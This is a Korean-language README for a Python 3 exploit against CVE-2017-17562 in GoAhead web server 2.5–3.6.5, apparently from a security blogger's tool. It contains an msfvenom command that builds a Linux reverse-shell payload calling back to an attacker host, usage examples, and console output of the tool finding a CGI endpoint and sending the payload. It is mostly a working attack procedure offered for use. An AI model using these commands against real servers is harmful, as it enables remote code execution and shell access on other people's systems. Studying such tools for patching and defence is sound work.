
CVE-2017-17562를 대상으로 하는 독립 실행형 Python 3 익스플로잇으로, 자동화된 CGI 엔드포인트 탐지 및 리버스 셸 페이로드 전달 기능을 통해 GoAhead 웹 서버 2.5–3.6.5를 공격합니다.
CVE-2017-17562용 독립형 Python 3 리버스 셸 익스플로잇으로, GoAhead 웹 서버 버전 2.5 < 3.6.5에서 작동합니다.
블로그 관련 글.
Python 3.7에서 작성 및 테스트되었으며, POC 및 취약 환경을 기반으로 합니다. 일부 코드는 Metasploit 모듈에서 차용했습니다.
원본 POC는 여기에서 찾을 수 있습니다. 원본 POC 익스플로잇이 작동하지 않아서 이 도구를 작성했습니다. 그 이유는 원본에 익스플로잇할 CGI 모듈을 검색하는 기능이 없었기 때문입니다. 즉, 사용자가 해당 위치를 지정하거나 재귀 검색용 워드리스트를 제공해야 합니다.
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -h
usage: exploit.py [-h] -rhost RHOST [-rport RPORT] [-cgipath CGIPATH] -payload
PAYLOAD
Generate the payload first, eg:
msfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f elf-so -o dir/payload.so
Required arguments:
-rhost RHOST Target host running Go Ahead webserver eg. 192.168.92.153
-payload PAYLOAD Path to the malicious elf-so payload. eg dir/payload.so
Optional arguments:
-rport RPORT Target port running GoAhead webserver. Default: 8080
-cgipath CGIPATH The path to a CGI script on the GoAhead server Default: '/cgi-bin' as in http://192.168.92.153/cgi-bin
Call the exploit like this:
./exploit.py -rhost 192.168.92.153 -rport 8080 -cgipath /cgi-bin/index -payload dir/payload.so
root@Kali:~/Infosec/RubyStuff/GoAhead-Web-Server-2.5~3.6.5# ./exploit.py -rhost 192.168.92.153 -rport 8080 -payload payload3.so
Searching 390 paths for an exploitable CGI endpoint...
Exploitable CGI located at /cgi-bin/index
Sending payload...